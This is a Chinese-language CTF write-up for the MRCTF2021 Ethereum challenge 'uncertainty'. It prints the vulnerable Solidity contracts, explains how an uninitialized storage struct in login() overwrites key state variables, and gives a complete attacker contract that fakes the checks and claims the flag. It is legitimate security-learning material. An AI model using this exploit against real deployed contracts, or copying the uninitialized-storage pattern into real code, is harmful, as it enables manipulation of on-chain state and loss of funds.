概述
前言
昨天前天遇到的区块链题目有有些远超我目前的能力范围了,因此做的非常难受,决定先扔了,循序渐进,不好高骛远。突然想到MRCTF2021的那2道区块链自己还没有去复现,昨天想着去复现,今天发现MRCTF的站关了。。。利用着大师傅的WP上面的记录,找到了目标合约,进行复现。不过这题本身是没有给源码的,是需要逆向的,奈何我源码都读了几遍了才知道。。。没办法就直接拿着源码来复现叭。这题的难点其实还是逆向,直接看源码的话就会简单许多。
WP
源码:
pragma solidity ^0.4.17;
interface merak {
function Merak(uint) view public returns (bool);
}
contract unlock{
uint win;
address owner;
bool public winned;
constructor() payable {
owner = msg.sender;
winned = false;
}
function getaddress()public returns(address) {
return address(this);
}
}
contract flag { // first contract
address public owner;
mapping(uint256=>bool) is_successful;
constructor() payable {
owner = msg.sender;
}
function getaddress() public returns(address) {
return address(this);
}
function getflag() public payable {
challenge A = challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())] = true;
}
}
contract ez{
uint win;
address public owner;
bool public success;
constructor() payable {
owner=msg.sender;
}
function getaddress() public returns(address) {
return address(this);
}
function betting(uint ss) public payable {
address target = challenge(owner).tt(); // set tt to hacker address
merak hack = merak(target);
if(!hack.Merak(ss)){ // 123 returns 0
win = ss;
success = hack.Merak(win); // 123 return 1
}
}
}
contract challenge{
address public target1; // 0 a -> control
address public target2; // 1
uint256 length; // 2 c -> control
address public tt; // 3
bytes32[] public a; // 4
uint256 meiyong; // 5
address public target3; // cannot overload
unlock A;
flag B;
ez C;
struct edge {
uint256 loginid; // 0
uint256 time; // 1
uint256 maybe; // 2
uint256 val; // 3
address logined; // 4
}
constructor() payable {
A=(new unlock).value(0.0001 ether)();
B=(new flag).value(0.0001 ether)();
C=(new ez).value(0.0001 ether)();
target1=address(A);
target2=address(B);
target3=address(C);
}
function login(uint256 a, uint256 c) public payable { // call login to overwrite target1
edge temp;
temp.loginid = a;
temp.time = now%1000;
temp.maybe = c;
temp.val = msg.value;
temp.logined = msg.sender;
tt = msg.sender;
}
function getaddress()public {
target1=A.getaddress();
target2=B.getaddress();
target3=C.getaddress();
}
function pop() public {
require(msg.value==0.1 ether);
length--;
for(uint256 i=0; i<=length; i++)
a[i]=a[i+1];
msg.sender.call.value(msg.value)();
require(length>=0);
}
function push(bytes32 num) public {
length++;
require(msg.value==0.1 ether);
msg.sender.transfer(msg.value);
for(uint256 i=length; i>=1; i--) {
a[i]=a[i-1];
}
a[0]=num;
}
function revise(bytes32 tt,uint256 len)public {
require(len<=length, "not enough");
a[len]=tt;
}
function gettingflag() public returns(bool) {
ez(target3).betting(123);
if (ez(target3).success() == true && unlock(target1).winned() == true)
return true;
else
return false;
}
}
一共四个合约,当时题目放出的是flag合约的地址。先把源码认真审几遍,理清楚代码的整体意图。想要获得flag,需要这样:
function getflag() public payable {
challenge A = challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())] = true;
}
看一下gettingflag()
:
function gettingflag() public returns(bool) {
ez(target3).betting(123);
if (ez(target3).success() == true && unlock(target1).winned() == true)
return true;
else
return false;
}
暂时放一下,看一下challenge。首先就是这里很明显的未初始化的结构体,可以覆盖:
function login(uint256 a, uint256 c) public payable {
//未初始化的结构体,从slot0开始覆盖
edge temp;
//target1由a控制
temp.loginid = a;
temp.time = now%1000;
//uint256 length由c控制
temp.maybe = c;
//address public tt由msg.value控制
temp.val = msg.value;
//bytes32[] public a的长度由msg.sender决定,这会变得很长。
temp.logined = msg.sender;
//tt本来由msg.value覆盖,现在又被msg.sender覆盖。
tt = msg.sender;
}
target1是我们可控的,可以控制为我们自己构造的一个恶意合约,在gettingflag()函数的这里:unlock(target1).winned() == true
,可以非常轻松的满足。
再看一下这里:
ez(target3).betting(123);
if (ez(target3).success() == true
function betting(uint ss) public payable {
//address public tt;
address target = challenge(owner).tt();
//
merak hack = merak(target);
if(!hack.Merak(ss)){
win = ss;
success = hack.Merak(win);
}
}
这个merak合约来自challenge的tt,同样会收到上面那个覆盖的影响:
tt = msg.sender;
因此在攻击合约里写一个Merak函数即可,第一次返回false,第二次返回true。
理清了,直接攻击即可:
pragma solidity ^0.4.17;
contract unlock{
bool public winned = true;
}
interface challenge{
function login(uint256 a, uint256 c) external payable ;
function getaddress() external ;
function pop() external ;
function push(bytes32 num) external ;
function revise(bytes32 tt,uint256 len) external ;
function gettingflag() external returns(bool) ;
}
interface flag {
function getflag() external payable ;
}
contract Feng {
bytes32 public location = keccak256(abi.encodePacked(uint(this), uint(1)));
challenge constant private target = challenge(0xDb8d039189547D4a7766912503d101FEE7bb1c7f);
unlock public c1 = new unlock();
uint256 public a = uint256(address(c1));
flag constant private flagTarget = flag(0x47b9bdCFFCC6bb1851442E5e9dacCBE6F84C1841);
bool public merakFlag = false;
function Merak(uint) view public returns (bool){
if(merakFlag == true) return true;
merakFlag = true;
return false;
}
function attack() public {
target.login(a,2**256-1);
flagTarget.getflag();
}
}
这个location是计算了flag合约中mapping(uint256=>bool) is_successful;
,我们的恶意合约在storage中存储的位置,攻击之后如果不确定,可以再利用web3.js来查看一下这个量,看看是不是true:
最后
以上就是美好红牛为你收集整理的MRCTF2021 ETH uncertainty前言WP的全部内容,希望文章能够帮你解决MRCTF2021 ETH uncertainty前言WP所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复